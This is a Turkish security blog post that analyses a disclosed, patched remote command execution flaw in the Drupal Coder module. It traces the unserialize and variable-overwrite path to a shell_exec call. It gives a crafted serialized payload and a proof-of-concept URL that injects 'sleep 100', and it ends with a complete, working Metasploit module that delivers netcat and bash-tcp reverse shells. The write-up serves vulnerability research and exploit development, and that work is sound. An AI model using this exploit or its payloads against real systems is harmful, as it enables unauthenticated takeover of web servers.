Drupal Coder Zafiyet Analizi & Metasploit Modülü Geliştirilmesi

Bildiğiniz gibi Drupal’in security ekibi zafiyet yönetimini son derece ciddiye almaktadır. Bu ekip, zafiyeti bulan kişi veya kişiler ile koordineli bir çalışma gerçekleştirip, çok kritik bir husus yok ise her haftanın çarşamba günü yama yayınlamakta. Benimde olaya dahil olduğum an, bu modül için yamanın yayınlandığı gün oldu.

Drupal Security ekibi, herhangi bir PoC kodu veya teknik detay paylaşımı gerçekleştirmemektedir. Bu durumda, eğer zafiyet çok bariz bir şekilde sırıtmıyor ise, 1day saldırıların önüne geçilmesi noktasında bir katma değere dönüşmektedir.

Bu zafiyet için PoC kodunun henüz oluşturulmuş olmaması, Core Security firmasındaki zafiyet araştırmacısı ekibin attığı tweetlerinde PoC için ciddi bir problem yaşadıklarını görmüş olmak benimde merakımı uyandırdı…

Ve serüven başlamış oldu.

Zafiyete İlk Bakış

Git commit’ine baktığımızda aşağıdaki bilgi bizi karşılamaktadır.

Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web üzerinden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bize yardımcı olan bir bilgi değil.

drupal-diff

Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web üzerinden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bize yardımcı olan bir bilgi değil.

coder_upgrade.run.php dosyasında ki kodları okumaya başlayalım.

drupal-extract-func

extract_arguments() fonksiyonu $path isimli değişkeni oluşturmakta. Ardından bu path parametresi, bizim en sevdiğimiz iki fonksiyona, yani, file_get_contents ve unserialize fonksiyonlarına parametre olarak gönderilmekte.

unserialize işlemi sonunda, yani string olarak ifade edilen bir php array’i $parameters isimli bir değişkeni oluştururduktan sonra bir for döngüsüne girmekte. Burada ki en önemli nokta, $$key yani değişken işaretçisinin kullanılmış olmasıdır. Bu sayede coder_upgrade.run.php içerisinde istediğimiz isimde değişkeni tanımı yapabilir durumdayız. Şayet ki, $path değişkeni kontrolümüz altında ise ?

Path değişkenini oluşturan extract_arguments fonksiyon tanımı aşağıdaki gibidir.

drupal-file-param

138. satır der ki, eğer beni çağıran kişi apache2handler ise yani web üzerinden çağırılmış isem, aynı zamanda da GET parametresi olarak file tanımlı ise, $filename değişkenini return et. ( Bu return ekran görüntüsünde yoktur. 142. satırdaki değişken daha sonra fonksiyon return’ü ile geri gönderilmektedir. )

Sonuç ?

coder_upgrade.run.php dosyasına GET parametresi olarak file ile gönderilen veri, öncelikle file_get_contents fonksiyonuna gönderilmektedir. Buradan dönen sonuç ise unserialize yani object injection süreçlerinden yakından tanıdığımız ikinci bir fonksiyona gönderilmektedir.

PHP düsyasını az çok tanıyan herkesin bildiği üzere, file_get_contents fonksiyonu parametresi eğer saldırganın kontrolü altında ise; eski dostumuz RFI ve LFI, yeni dostumuz SSRF gibi zafiyetler oluşmaktadır. Bizim ilgilendiğimiz nokta ise olayı daha da ileriye götürmek ve Remote Code Execution yapabilmek. Peki ya nasıl ?

drupal-unserialize

77 – 82 satırlar daha önce tanıdığımız kodlar. Bizim içinse en önemli nokta 81. satır yani değişken işaretçisinin kullanıldığı yer. Bu sayede uygulamanın devamında ki $variables, $path[‘files_base’] vb tüm değişkenleri saldırgan olarak tanımlayabilmekteyiz. Bu değişkenlerin değerlerinin değiştirebiliyor olmamız ise bize uygulamanın kod akışını kontrol edebilme imkanı sunmaktadır. Kontrol ettiğimiz akışı ise istediğimiz bir fonksiyona yönlendirme ihtimalimiz mevcuttur.

Tüm kaynak kod analizi temelli saldırıların 3 ana adımı mevcuttur.

  1. Zafiyet Tespiti
  2. Varılmak istenen kod bloğu
  3. İstenen noktaya giden yolun bulunması

Bizim için birinci adım başarıyla tamamlanmış durumda. coder_upgrade.run.php dosyasında ki tüm değişkenleri kendimiz tanımlayabilmekteyiz. Peki varmak istediğimiz yer ?

➜  coder_upgrade find . -type f|xargs grep 'shell_exec(\|passthru(\|system('
./includes/main.inc:  shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");

Görünen o ki includes/main.inc dosyasında bir yerde shell_exec fonksiyonu parametreler ile çalıştırılmakta. Belki bu parametreleri değiştirebiliriz ? Ama öncelikle bu satırın geçtiği fonksiyonu, o fonksiyona erişmek içinse hangi kırılımlara ne değerlerin verilmesi gerektiğini öğrenmeliyiz.

drupal-patch-file

578. satır shell_exec fonksiyonunun kullanıldığı an. 575 ve 576. satırlarda ise shell_exec tarafından kullanılan parametrelerin tanımları bulunmakta. Görünen o ki, eğer $item isimli fonksiyon parametresini biz belirleyebilirsek, bir adet Command Injection zafiyetimiz oluşmakta. $item isimli değişkeninde bir PHP array’i olduğunu not ederek yolculuğa devam ediyoruz. Bu fonksiyon yani coder_upgrade_make_patch_file nerede ? kim tarafından çağırılıyor ?

drupal-upgrade-start

İki adet haber bizi bekliyor. İyi haber; direk 63. satıra bakınız. $item parametresi ile birlikte hedeflediğimiz fonksiyon çağırılmış durumda.

Kötü haber ise; 63. satıra kadar bir çok kontrol, fonksiyon çağrısı yani alt programlara dallanma mevcut. Görevimiz artık daha zor, bu nedenle yaklaşımımızı değiştirmemiz gerekiyor.

  1. 30. ve 51. satırlar arasında tüm if’ler için eğer kontrol edebildiğimiz bir parametre ise if’e hiç girmemeyi sağlamalıyız. Eğer girmek durumunda isek, mümkün mertebe en az dallanmaya sebeb olacak şekilde hareket etmeliyiz.
  2. 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek kontrol edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorundayız. Aksi halde 63. satıra yani Command Injection yapacağımız coder_upgrade_make_patch_file fonksiyonuna ulaşamayız.

Tüm bu kuralları ve süreci uygulamadan önce bir başka sorunumuz daha var. coder_upgrade_make_patch_file fonksiyonuna erişmek istiyoruz ? evet! Peki bunu kim çağırıyor ? coder_upgrade_start fonksiyonu. Güzel…

Peki coder_upgrade_start’ı kim çağırıyor ? Zira bu fonksiyon çağırılmaz ise hiçbir şekilde coder_upgrade_make_patch_fileadresine erişim sağlayamayacağız.

Yazının başına geri dönüyoruz. coder_upgrade.run.php dosyası yani bizim saldırımızı başlattığımız dosyada 119. satıra bakınız. Tamda istediğimiz fonksiyon burada çağırılmış durumda..!

Durum Özeti

Uzun soluluklu seyahatimize başlamadan önce bir yol haritamızın özetini yapalım.

  • coder_upgrade.run.php bizim başlangıç noktamız. file parametresi üzerinden serialized edilmiş özel bir array gönderebiliyoruz. Bu array’in her indisi coder_upgrade.run.php içerisinde bir değişken olarak tanımlanabilmekte. (foreach döngüsünü hatırlayın.)
  • 119. satırdaki coder_upgrade_start() bizim başlangıç fonksiyonumuz. Parametre olarak $upgrade, $extensions ve $items değişkenlerini alıyor. Bu değişkenleri bir önceki adımda anlattığımız durum sayesinde biz tanımlayabilmekteyiz.
  • coder_upgrade_start() fonksiyonunda ki 30. ve 51. satırlar arasında tüm if’ler için eğer kontrol edebildiğimiz bir parametre ise if’e hiç girmemeyi sağlamalıyız. Eğer girmek durumunda isek mümkün mertebe en az dallanmaya sebeb olacak şekilde hareket etmeliyiz. Zira amacımız en kısa yoldan 63. satırdaki coder_upgrade_make_patch_file() fonksiyonuna erişmek.
  • Gene coder_upgrade_start() fonksiyonunun tanımında ki 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek kontrol edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorunda. Aksi halde 63. satıra yani Command Injection yapacağımız coder_upgrade_make_patch_file fonksiyonuna ulaşamayız.

BAŞLANGIÇ

Daha önce belirttiğim gibi coder_upgrade.run.php dosyasının 119. satırına hiçbir problem olmadan erişmemiz gerekmekte. 119. satıra gelmeden önce ilgimizi çeken bir kaç önemli değişken tanımı var.

drupal-variables

Bu değişkenleri tanımlamak zorundayız, çünkü daha sonra bir çok süreçte kullanılıyor olacak. Gördüğünüz üzere $path array’inde files_base, libraries_base ve modules_base isimli array elemanlarına ihtiyacımız var. Saldırımızı en nihayetinde serialized edilmiş bir array üzerinden gerçekleştireceğiz. Bunun için öncelikle paths değişkenini aşağıdaki şekilde saldırı kodumuzda tanımlamaktayız.

drupal-payload

Burada dikkat edilecek husus; modules, files ve libraries için doğru path’in tanımlanması. Bunun içinde ../.. dizin tanımlarını kullanabiliriz.

119. satıra gelmeden önce karşımıza bir diğer dallanma durumu çıkmakta.

drupal-dallanma

Bu durumdan kurtulmak için $theme_cache parametresini var olmayan bir dosya veya klasör ile tanımlayabiliriz. Böylece is_filefonksiyonu FALSE dönecek ve dallanma önlenmiş olacaktır.

Saldırı array’imizin son hali aşağıdaki duruma geldi. theme_cache ve variable sisimli iki array elemanı daha ekledik. Bunlardan theme_cache var olmayan bir dosya ismi yazdık ki yukarıdaki dallanma gerçekleşmesin.

drupal-payload2

Ve sonunda 119. satırdaki coder_upgrade_start() fonksiyonuna sorunsuz bir şekilde erişmiş buluyoruz. Unutmamalıyız ki, henüz başlangıç noktasına geldik. coder_upgrade_start() üzerinden coder_upgrade_make_patch_file() fonksiyonuna erişmeye çalışacağız.

1. adım – coder_upgrade_start() Fonksiyonu

Bu fonksiyon oldukça uzun bir tanıma sahip. Yazının daha önceki kısımlarında fonksiyon tanımı paylaşılmıştı. Tekrar hatırlatmak ve adım adım analiz etmek için aşağıda tanımı tekrar veriyorum.

drupal-coder-upgrade

Amacımızıda tekrar hatırlatmakta fayda var, 63. satırda ki coder_upgrade_make_patch_file() fonksiyonuna erişmeliyiz.

İlk dikkat çeken nokta 30-38. satırlar arasında ki if tanımları. $upgrades, $extensions ve $items değişkenleri array olmalı. Aynı zamanda da en az bir adet elemanı bulunmalı. Aksi halde return False sonucu oluşacak ve 63. satıra gelmeden execution sonlanacaktır. Bu üç değerinde fonksiyon parametresi olduğunu görmekteyiz. Yani bu tanımları coder_upgrade.run.php üzerinde yapmalıyız.

Saldırı kodumuzunda ki array’i aşağıdaki şekilde güncelliyoruz.

drupal-payload3

Bu bizi hiçbir return False komutuna düşmeden doğrudan 39. satıra kadar getirmiş olacaktır.

39 – 50. satırlar arasında ki kodları ise maalesef kontrol edemiyoruz. Bunun nedeni hem variable_get() fonksiyonu çağrılarıdır, hemde bazı değişkenler fonksiyon yerel değişkenleridir. Fonksiyon yerel değişkenlerini global ön tanımı olmadığı sürece kontrol edememekteyiz. Bu durumda bizi doğrudan 51. satırda ki coder_upgrade_load_code($upgrade) fonksiyonu çağrısına getirmektedir. $upgrade değişkenini kontrol edebildiğimiz için bu fonksiyonada özel olarak bakmalıyız. Herhangi bir sorun olmadan bu fonksiyon return True döndürmelidir. Aksi halde 63. satıra ilerleyemeyiz.

drupal-load-code

Gene ilk bakışta dikkat çeken bir çok dallanma ve daha da önemlisi require_once çağrılarıdır. Yerel dizin üzerinden başka dosyalar çağırılabilmekteyiz. Bu özellik sayesinde Local File Inclusion saldırıları gerçekleştirebilme ihtimalimiz mevcut. Lakin amacımız doğrudan 63. satıra yani Command Injection yapacağımız fonksiyona erişmek olduğu için zaman kaybetmeden coder_upgrade_load_code()fonksiyonunun sonuç üretmesini sağlamalıyız. Unutmayın, $upgrade parametresini biz kontrol etmekteyiz!

İlk karşımıza çıkan,78. satırdaki foreach döngüsü oldu. Bu döngüyü bir kere dönüp fonksiyondan çıkmayı istemekteyiz. Ayrıca 80. satırdaki if ile yapılan dallanmaya dikkat edin. Değer 80. satırda ki if kontrolü false olursa 85. satırdaki drupal_get_path() çağrısı yapılacaktır. Bu çağrı ile uğraşmaktansa direk 82. satırdaki değişken tanımını yapmayı tercih etmeliyiz. Böylece çok daha az bir dallanma ile yolumuza devam edebiliriz.

İkinci bir alt dallanma ise 87. ve 92. satırlarda ki if, elseif tanımları. Eğer 87. satırdaki if true dönerse, bir başka foreach ve require_once çağrısı olacaktır ki bunu hiç istemiyoruz. Ayrıca 92. satırda ki elseif true dönerse gene require_once çağrısı olacaktır. Bu durumdan da kaçmak isteriz. Çünkü require_once çağrılarının sonunda .upgrade gibi postfix tanımları mevcut. Bunu \x00 yani Null Byte injection ile aşabiliriz. Lakin PHP Null Byte Injection sadece PHP4 – PHP5.3 versiyonları arasında çalışmaktadır. Generic bir exploit yazmamıza engel olabilir. Belki hedefimiz PHP7.0 kullanmakta ?

Tüm bu çileye son verecek saldırı array tanımımız aşağıdaki şekilde olmalıdır. upgrades tanımına dikkatlice bakınız. path değişkeni tanımlı ve içi boş OLMADIĞI için 82. satıra giriş yapabilmekteyiz. Böylece bahsettiğim 85. satırdakidrupal_get_path() fonksiyonundan kurtulmuş oluyoruz.

drupal-payload4

Ayrıca $upgrade değişkenimizde $files parametresi olmadığı için 87. satırdaki dallanmadan da kurtuluyoruz. Bu bizi 92. satıra getirmektedir. Bu satırdaki if kontrolünün FALSE dönmesi içinde module değişkenine foo değerini atadık. Böylecek file_exist()fonksiyonu FALSE dönecek ve 94. satırdaki require_once koduna hiç uğramadan fonksiyondan başarılı bir şekilde kurtulmuş olacağız.

Evet. Başladığımız noktaya geri dönmeyi başardık. coder_upgrade_start() fonksiyonunun 51. satırındakicoder_upgrade_load_code($upgrades); çağrısından başarıyla çıkmış olduk. Yolumuza devam etmenin zamanı geldi. 63. satıra erişmeliyiz. Bunun için coder_upgrade_start() fonksiyonunun ilgili kod bloğunu tekrar aşağıda paylaşıyorum.

drupal-foreach

55. satırda bir başka foreach daha var. Buna girmek zorundayız. Aksi halde 63. satıra erişemeyiz. coder_upgrade_make_patch_file()bizim hedefimiz!

Foreach döngüsü, $items isimli array’in her elemanını tek tek $item değişkeninde tutmakta. 63. satırdaki fonksiyonumuz ise $itemdeğişkenini parametre olarak almakta..! Harika! Lakin başka problemlerimiz var. En az 3 adet farklı fonksiyonunun çağrısı oluşacak…

57. satırda ki if eğer doğru sonuç üretirse, coder_upgrade_convert_begin() fonksiyonu çağrılacaktır. Bunu engellemeliyiz. Başka bir dallanmayı istemiyoruz. Neyse ki if’i analiz ettiğimizde bu fonksiyona girmek için HTTP_USER_AGENT değişkenimiz ya tanımlı olmamalı, yada user agent değerimiz simpletest olmamalıdır. Yani demem o ki, normal bir HTTP GET talebimiz bu 58. satıra dallanmaya zaten izin vermemekte. Güzel bir haber bu, yolumuza devam edebiliriz.

60. satırdaki coder_upgrade_convert_dir() ve 62. satırdaki coder_upgrade_convert_end() çağrılarından kaçamıyoruz. Şimdiye kadar yaptığımız gibi, bir yolunu bulup bu fonksiyonların problemsiz bir şekilde sonuçlanmasını sağlamalıyız. Her iki fonksiyonun parametrelerinin en az 2 tanesini biz kontrol edebiliyoruz.

1.1 Alt Dallanma: coder_upgrade_convert_dir() Analizi

Karşımıza çok daha büyük bir fonksiyon çıkmış durumda. Bu biraz motivasyon kırıcı olsada ben sadece ilgileneceğimiz kısımları, üzerinde saatler harcadıktan sonra, tespit ettim. Sadece ilgili kısımları sizlerle aşağıda paylaşıyorum.

drupal-convert-dir

166. ve 167. satırda kontrol edebildiğimiz iki değişken üzerinden $dirname ve $new_dirname tanımları yapılmış durumda. 170. satırdaki dallanmada ise bir tercih yapacağız. Bu tercih yazının Exploitation kısmında karşımıza ciddi bir problem çıkartacak. Lakin o kısma daha sonra geliriz. Öncelikle sorunumuz şu: $new_dirname eğer is_dir() kontrolünden false dönerse sunucuda bir dizin oluşturulacak ( 171 ve 172. satırlar) eğer var olan bir dizini belirtirsek ise 175. satırda başka bir fonksiyon daha çağırılacak. Açıkcası daha fazla fonksiyon ile uğraşmak istemiyoruz. Bu nedenle tercihimiz 171. ve 172. satırlara girmek olmalı.

189. satırda ise $dirname değişkeninin işaret ettiği dizinde ki tüm dosyalar üzerinde, 190. satırdaki foreach çalışacak. Ekran görüntüsüne dahil etmediğim bu kısım uzunca bir başka kod bloğuna ihtiva etmekte. Bu kısımlara girmemek için $dirname değişkenini Drupal Coder ile gelen resim dosyasına işaret edebiliriz. Bu sayede scandir() sadece resimlerin olduğu bir array dönecek. Böylece foreach’e girsek bile hiçbir .php, .module, .inc vb uzantıya sahip dosya olmadığı için foreach hiçbir iş yapmadan çıkacaktır :-)

Yeni saldırı array’imiz aşağıdaki şekilde oluşmaktadır. items array’inin old_dir ve new_dir elemanlarına yukarıdaki paragrafta belirttiğimiz işi yapacak değerleri yazdık.

drupal-payload5

Bu fonksiyondan da alnımızın akı ile çıktıktan sonra, şimdi sıra ikinci fonksiyonumuzda.

1.2 Alt Dallanma: coder_upgrade_convert_end()

Artık şans yüzümüze gülmekte.

drupal-convert-end

Gördüğünüz üzere çok az bir tanım var. Hiçbir şey ile uğraşmadan buradan direk geçiyoruz.

2. Ve beklenen an! coder_upgrade_make_patch_file()

Onca çileden sonra nihayet son durağa varmış bulunmaktayız. 551. satıra gelmek üzereyiz. shell_exec fonksiyonuna baktığımızda 551. satırdaki $old_dir ve $new_dir isimli iki parametrenin herhangi bir önlem alınmadan doğrudan komut içerisinde kullanıldığını görmekteyiz. Zira bunu yazının en başında tespit ettik ve buraya varmaya çalıştık.

drupal-patch-file

548 ve 549. satırlarda bu iki değişkenin nasıl atandığını görmekteyiz. Eğer $item isimli array’in old_dir ve new_dir isimli indisleri mevcut ise, bu değerler doğrudan yeni değişken üretiminde kullanılmakta. Bu bizim için mutluluk verici bir haber. Çünkü $item array’i fonksiyon parametresinden gelmekte. Yani bizim en başından beri kontrol edebildiğimiz bir dizi.

Aşağıdaki saldırı array’imizin PoC halini oluşturmuş durumdayız. items array’inin new_dir isimli parametresine payload yerleştirilmekte. Bu sayede diff komutunu çalıştıran shell_exec fonksiyonunda Command Injection gerçekleştirebilmekteyiz.

drupal-payload6

Proof of Concept

Yukarıda son hali paylaşılmış olan array’imizi yerel sunucu üzerinden yayınlıyoruz.

http://10.0.0.1:8081/exploit.php
a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}s:11:"theme_cache";s:16:"theme_cache_test";s:9:"variables";s:14:"variables_test";s:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}s:10:"extensions";a:1:{s:3:"php";s:3:"php";}s:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";s:7:"new_dir";s:15:"-v;
 sleep 100 #";s:4:"name";s:4:"test";}}}

Görüldüğü üzere serialized edilmiş halde karşımızda. Bu veriyi ise file GET parametresi üzerinden uygulamaya göndermeliyiz. En başa, bu file parametresini gönderdiğimiz kod bloğunu hatırlayalım.

drupal-extract-func

Hatırlarsanız extract_arguments() fonksiyonu HTTP GET üzerinden file parametresini almakta ve $path isimli değişkene atamaktaydı. Bu değişken file_get_contents() üzerinden indirilmekte ve unserialize edilerek saldırı array’imiz uygulamaya ulaştırılmaktaydı.

POC URL : http://10.0.0.162/drupal/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=http://10.0.0.1:8081/exploit.php 

Sayfanın geri dönüşü 10 saniye geciktiğini görmekteyiz. Bu bize Blind Command Injection saldırı yapabildiğimizi ispatlamaktadır…!

Metasploit Modülü

Açıkcası şu ana anlatılanları analiz etmem 1 gün gibi ciddi bir süreye, güzel bir cumartesi günüme mal oldu. Detaylı bir kaynak kod analizi, dallanmaları engellemenin yolları, ufak ve ince trickler ile geçen sürenin ardından nihayet PoC’yi gerçekleştirebildik. Şimdi ise sıra “reliable exploit” ‘in geliştirilmesine geldi.

Karşılaşılan Engeller

Hatırlarsanız ki saldırı komutumuzu $item array’inin new_dir elemanı üzerinden göndermekteyiz. Uzun süren analizlerimizden bir tanesinde, command injection’ı gerçekleştirmeden önce bu değişkenin başka fonksiyonlar tarafından kullanıldığını görmüştük. Hatırlamayanlar için coder_upgrade_convert_dir() fonksiyonuna geri dönelim.

drupal-convert-dir

Burada $item[‘new_dir] yani bizim saldırı kodumuzu ilettiğimiz parametre mkdir() ve chmod() fonksiyonlarında kullanılmakta. Biz 175. satırda ki fonksiyondan korktuğumuz için -açıp ilgili fonksyonu okuyun, gerçekten korkutucu- 171. ve 172. satırlara giriş yapmayı tercih ettik. Zaten bu analizi yaparken de, bize daha sonra ciddi bir problem olacak bir karar veriyoruz, demiştik.

Problem #1: mkdir ve chmod fonksiyonları input olarak aldığı değişkenin 255 karakterden küçük olmasını istemektedir. Bu kural unix ailesinin dosya ismi boyutu sınırlandırmasından gelmekte. Buda saldırı kodumuzun -shellcode olarak düşünebilirsiniz- belirli bir limitte olmasını zorunlu kılmakta.

Ayrıca diff komutunun herhangi bir error üretip error.log’a yazılmaması için payload’ımız -v; karakteri ile başlamakta. Komut sonrası kısmın işlem dışarısına alınması içinse [SPACE]# kullanmak zorundayız. Buda zaten 255 gibi limitli olan bir payload alanı için 5 adet karakterimizide kaybettiğimiz anlamına gelmekte. Asıl payload uzunluğumuz 250 karakter olmak zorunda artık.

Problem #2: Gene mkdir ve chmod için parametre olaran gelen veride / işareti path belirtmektedir. Bizim reverse_shell vb payloadlarımızı taşıyan bu değişkende / işaretini artık kullanamıyoruz. Yani nc -i /bin/bash 10.0.0.1 diyemeyiz. Çünkü payload içerisinde /bulunmaktadır.

Bu problemleri Metasploit’in modüle özellikleri kullanarak aşabilmekteyiz.

Space alanının 250 yapılması ve BadChars olarak \x2f yani / işaretinin atanması Metasploit modülünün payload generate işleminde gerekli encoding’lerin yapılmasını sağlamakta.

Ayrıca PayloadType ve RequiredCmd olarakta 250 karakter altında payload ürettiğine emin olduğumuz payload tiplerini enable etmiş bulunuyoruz.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal CODER Module Remote Command Execution',
      'Description'    => %q{
        This module exploits a Remote Command Execution vulnerability in
        Drupal CODER Module. Unauthenticated users can execute arbitrary command
        under the context of the web server user.
        CODER module doesn't sufficiently validate user inputs in a script file
        that has the php extension. A malicious unauthenticated user can make
        requests directly to this file to execute arbitrary command.
        The module does not need to be enabled for this to be exploited
        This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicky Bloor <nick@nickbloor.co.uk>',  # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765575']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 250,
          'DisableNops' => true,
          'BadChars'    => "\x2f",
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'netcat netcat-e bash-tcp'
            },
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
      ]
    )
  end
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
    )
    if res && res.body.include?('file parameter is not setNo path to parameter file')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end
  def exploit
    p = ''
    p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
    p << 's:11:"theme_cache";s:16:"theme_cache_test";'
    p << 's:9:"variables";s:14:"variables_test";'
    p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
    p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
    p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
    p << 's:7:"new_dir";s:'
    p << (payload.encoded.length + 5).to_s
    p << ':"-v;'
    p << payload.encoded
    p << ' #";s:4:"name";s:4:"test";}}}'
    payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
      'encode_params' => false,
      'vars_get' => {
        'file' => payload
      }
    )
  end
end

Bu iki bilgi ışığında bir metasploit modülü geliştirdim ve PR gönderdim. Bu yazının yazdılığı tarihte de IRC üzerinden HDM (HD Moore) ve WVU-7 nickli metasploit yetkilileri ile de uzun uzun münakaşa ettik. Şu anda itibariyle modül kabul almış durumda. (https://github.com/rapid7/metasploit-framework/pull/7115/)

drupal-msf

Son

Olayın sonunda zafiyeti bulan NCC Group araştırmacısı ile de görüşmüş oldum. Kendisi zafiyeti tespit ettikten sonra Remote Code Execution için bir race condition durumunu kullanmaya çalıştığını dile getirmişti. Kendisine(Nickly Bloor) bu süreçteki katkılarından ötürü teşekkür ederim.